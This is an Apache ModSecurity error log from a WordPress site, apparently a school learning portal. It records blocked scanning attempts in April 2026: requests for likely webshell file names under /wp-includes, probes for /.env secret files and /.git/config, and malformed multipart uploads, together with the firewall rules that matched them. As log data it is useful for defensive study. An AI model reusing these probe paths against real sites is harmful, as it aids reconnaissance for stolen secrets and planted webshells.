[Wed Apr 15 14:49:16.003063 2026] [:error] [pid 11384:tid 11449] [client 168.144.33.142:60059] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "ad807HOhpt4MrQIXF7B2aAAAAFc"]
[Wed Apr 15 14:49:16.184818 2026] [:error] [pid 11384:tid 11426] [client 168.144.33.142:60063] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/index.php"] [unique_id "ad807HOhpt4MrQIXF7B2aQAAAEQ"]
[Wed Apr 15 14:49:16.185667 2026] [:error] [pid 11384:tid 11426] [client 168.144.33.142:60064] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/inputs.php"] [unique_id "ad807HOhpt4MrQIXF7B2agAAAEQ"]
[Wed Apr 15 14:49:16.190728 2026] [:error] [pid 11385:tid 11448] [client 168.144.33.142:60067] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/js/index.php"] [unique_id "ad807B_mZoXMMCiUoKUq6QAAAMI"]
[Wed Apr 15 14:49:16.192387 2026] [:error] [pid 11475:tid 11486] [client 168.144.33.142:60066] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/js/crop/index.php"] [unique_id "ad807J7upE98bj816HO6JAAAAUk"]
[Wed Apr 15 14:49:16.454285 2026] [:error] [pid 11384:tid 11431] [client 168.144.33.142:60065] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "ad807HOhpt4MrQIXF7B2bAAAAEk"]
[Wed Apr 15 14:49:16.543997 2026] [:error] [pid 11385:tid 11472] [client 168.144.33.142:60158] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/l10n.php"] [unique_id "ad807B_mZoXMMCiUoKUq6gAAANc"]
[Wed Apr 15 14:49:16.543989 2026] [:error] [pid 11385:tid 11450] [client 168.144.33.142:60163] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/library.php"] [unique_id "ad807B_mZoXMMCiUoKUq6wAAAMM"]
[Wed Apr 15 14:49:16.544920 2026] [:error] [pid 11385:tid 11450] [client 168.144.33.142:60165] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/plugins.php"] [unique_id "ad807B_mZoXMMCiUoKUq7AAAAMM"]
[Wed Apr 15 14:49:16.545689 2026] [:error] [pid 11385:tid 11450] [client 168.144.33.142:60166] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "ad807B_mZoXMMCiUoKUq7QAAAMM"]
[Wed Apr 15 14:49:16.740431 2026] [:error] [pid 12396:tid 12403] [client 168.144.33.142:60193] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "ad807MCQWGYUWgxc5kji8QAAAIU"]
[Wed Apr 15 14:49:16.740623 2026] [:error] [pid 11385:tid 11462] [client 168.144.33.142:60196] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "ad807B_mZoXMMCiUoKUq7gAAAM0"]
[Wed Apr 15 14:49:16.740623 2026] [:error] [pid 12396:tid 12411] [client 168.144.33.142:60194] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "ad807MCQWGYUWgxc5kji8gAAAI0"]
[Wed Apr 15 14:49:16.741274 2026] [:error] [pid 11385:tid 11457] [client 168.144.33.142:60195] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "ad807B_mZoXMMCiUoKUq7wAAAMg"]
[Wed Apr 15 14:49:16.741480 2026] [:error] [pid 12396:tid 12418] [client 168.144.33.142:60197] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/radio.php"] [unique_id "ad807MCQWGYUWgxc5kji8wAAAJQ"]
[Wed Apr 15 14:49:16.921226 2026] [:error] [pid 11475:tid 11487] [client 168.144.33.142:60203] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/Text/index.php"] [unique_id "ad807J7upE98bj816HO6JQAAAUo"]
[Wed Apr 15 14:49:16.921881 2026] [:error] [pid 11385:tid 11473] [client 168.144.33.142:60204] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/themes.php"] [unique_id "ad807B_mZoXMMCiUoKUq8AAAANg"]
[Wed Apr 15 14:49:16.922259 2026] [:error] [pid 11385:tid 11447] [client 168.144.33.142:60205] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/up.php"] [unique_id "ad807B_mZoXMMCiUoKUq8QAAAME"]
[Wed Apr 15 14:49:16.922733 2026] [:error] [pid 11385:tid 11468] [client 168.144.33.142:60206] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/upload.php"] [unique_id "ad807B_mZoXMMCiUoKUq8gAAANM"]
[Wed Apr 15 14:49:16.932989 2026] [:error] [pid 11385:tid 11465] [client 168.144.33.142:60207] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "ad807B_mZoXMMCiUoKUq8wAAANA"]
[Wed Apr 15 14:49:17.123040 2026] [:error] [pid 11385:tid 11467] [client 168.144.33.142:60210] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/wp-class.php"] [unique_id "ad807R_mZoXMMCiUoKUq9AAAANI"]
[Wed Apr 15 14:49:17.123497 2026] [:error] [pid 11385:tid 11456] [client 168.144.33.142:60211] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/wp-login.php"] [unique_id "ad807R_mZoXMMCiUoKUq9QAAAMc"]
[Wed Apr 15 14:49:17.124001 2026] [:error] [pid 11385:tid 11448] [client 168.144.33.142:60213] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/xmlrpc.php"] [unique_id "ad807R_mZoXMMCiUoKUq9gAAAMI"]
[Wed Apr 15 14:49:17.124168 2026] [:error] [pid 11385:tid 11455] [client 168.144.33.142:60212] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/x.php"] [unique_id "ad807R_mZoXMMCiUoKUq9wAAAMY"]
[Wed Apr 15 14:49:18.591745 2026] [:error] [pid 12433:tid 12439] [client 168.144.33.142:60457] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/widgets/index.php"] [unique_id "ad807rwxDHWF005pP_6KaQAAAQQ"]
[Wed Apr 15 14:49:18.776369 2026] [:error] [pid 12396:tid 12419] [client 168.144.33.142:60565] [client 168.144.33.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.144.33.142, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "ad807sCQWGYUWgxc5kji9AAAAJU"]
[Wed Apr 15 14:49:20.625528 2026] [:error] [pid 11475:tid 11494] [client 168.144.33.142:60566] [client 168.144.33.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.144.33.142, incrementing ddos counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/xmlrpc.php"] [unique_id "ad808J7upE98bj816HO6LwAAAVE"]
[Thu Apr 16 00:29:09.335083 2026] [authz_core:error] [pid 37370:tid 37376] [client 146.190.242.161:56954] AH01630: client denied by server configuration: /home/memocar/seqta-learn.carmel.wa.edu.au/server-status
[Thu Apr 16 00:29:14.737369 2026] [:error] [pid 16664:tid 16737] [client 146.190.242.161:47960] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "ad-82jdzt684awDJwRTGOQAAAZI"]
[Thu Apr 16 00:29:18.749310 2026] [:error] [pid 30957:tid 30995] [client 146.190.242.161:47990] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "ad-83n5gwVEVXHfVSirSxAAAAEY"]
[Thu Apr 16 00:29:40.925832 2026] [:error] [pid 30957:tid 31011] [client 146.190.242.161:56236] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/trace.axd"] [unique_id "ad-89H5gwVEVXHfVSirS7gAAAFY"]
[Thu Apr 16 02:21:23.630353 2026] [:error] [pid 792:tid 899] [client 216.73.216.55:13090] [client 216.73.216.55] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||seqta-learn.carmel.wa.edu.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/robots.txt"] [unique_id "ad_XI93PZ8z30TezIkZlTwAAANM"]
[Thu Apr 16 12:20:02.215852 2026] [:error] [pid 57536:tid 57565] [client 98.93.160.221:57502] [client 98.93.160.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aeBjciQU4faGja6jpDu5DwAAABE"]
[Thu Apr 16 22:32:06.261938 2026] [:error] [pid 49094:tid 49112] [client 45.130.203.156:63163] [client 45.130.203.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/HEAD"] [unique_id "aeDy5jbDwvcXorHR_MwHdgAAAVA"]
[Fri Apr 17 19:14:39.812639 2026] [:error] [pid 51878:tid 51899] [client 178.128.149.123:16242] [client 178.128.149.123] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aeIWH0nQhUtMbw9EsgZYaQAAARM"]
[Tue Apr 21 04:26:48.149376 2026] [:error] [pid 4777:tid 4800] [client 206.189.179.221:6888] [client 206.189.179.221] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 0, BQ 0, BW 0, DB 1, DA 1, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||seqta-learn.carmel.wa.edu.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aeaMB6xXur6bykKyLZQE0AAAAQw"], referer: https://seqta-learn.carmel.wa.edu.au/
[Tue Apr 21 04:26:49.539011 2026] [:error] [pid 35320:tid 35352] [client 206.189.179.221:6902] [client 206.189.179.221] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 0, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||seqta-learn.carmel.wa.edu.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aeaMCYJW6fdXWO6agMFoLAAAABY"], referer: https://seqta-learn.carmel.wa.edu.au/
[Tue Apr 21 04:26:50.559527 2026] [:error] [pid 35320:tid 35330] [client 206.189.179.221:6908] [client 206.189.179.221] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||seqta-learn.carmel.wa.edu.au|F|2"] [data "Multipart parsing error: Multipart: Final boundary missing."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aeaMCoJW6fdXWO6agMFoMAAAAAA"], referer: https://seqta-learn.carmel.wa.edu.au/
[Tue Apr 21 04:26:50.559593 2026] [:error] [pid 35320:tid 35330] [client 206.189.179.221:6908] [client 206.189.179.221] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||seqta-learn.carmel.wa.edu.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aeaMCoJW6fdXWO6agMFoMAAAAAA"], referer: https://seqta-learn.carmel.wa.edu.au/
[Tue Apr 21 14:26:24.767266 2026] [:error] [pid 4822:tid 4832] [client 13.52.215.17:58702] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aecYkCAteFQFwS_23JlusAAAAUY"]
[Tue Apr 21 14:26:25.768356 2026] [:error] [pid 4822:tid 4836] [client 13.52.215.17:58716] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aecYkSAteFQFwS_23JluugAAAUo"]
[Tue Apr 21 14:26:26.887173 2026] [:error] [pid 4823:tid 4856] [client 13.52.215.17:58722] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aecYkvc8mke3PfHqsxF3qgAAAYM"]
[Tue Apr 21 14:26:27.633280 2026] [:error] [pid 4777:tid 4812] [client 13.52.215.17:58732] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aecYk6xXur6bykKyLZRrKwAAARg"]
[Tue Apr 21 14:26:28.420170 2026] [:error] [pid 4777:tid 4804] [client 13.52.215.17:58740] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "aecYlKxXur6bykKyLZRrLwAAARA"]
[Tue Apr 21 14:26:29.200299 2026] [:error] [pid 4823:tid 4859] [client 13.52.215.17:58754] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "aecYlfc8mke3PfHqsxF3tQAAAYY"]
[Tue Apr 21 14:26:29.971057 2026] [:error] [pid 4823:tid 4861] [client 13.52.215.17:58764] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.test"] [unique_id "aecYlfc8mke3PfHqsxF3uAAAAYg"]
[Tue Apr 21 14:26:30.743600 2026] [:error] [pid 4777:tid 4808] [client 13.52.215.17:58766] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.remote"] [unique_id "aecYlqxXur6bykKyLZRrNQAAARQ"]
[Tue Apr 21 14:26:31.533202 2026] [:error] [pid 5377:tid 5408] [client 13.52.215.17:58782] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aecYl7BKychFlrHBdvuxwwAAAdY"]
[Tue Apr 21 14:26:32.398294 2026] [:error] [pid 35415:tid 35428] [client 13.52.215.17:58784] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.backup"] [unique_id "aecYmEiqDinI4_22zzg-DwAAAME"]
[Tue Apr 21 14:26:33.151463 2026] [:error] [pid 35322:tid 35357] [client 13.52.215.17:58790] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.save"] [unique_id "aecYmaPoAfV40BTfVKysUwAAAIA"]
[Tue Apr 21 14:26:34.004419 2026] [:error] [pid 4777:tid 4811] [client 13.52.215.17:41800] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.old"] [unique_id "aecYmqxXur6bykKyLZRrQAAAARc"]
[Tue Apr 21 14:26:34.877251 2026] [:error] [pid 5377:tid 5399] [client 13.52.215.17:41814] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.sample"] [unique_id "aecYmrBKychFlrHBdvuxygAAAc0"]
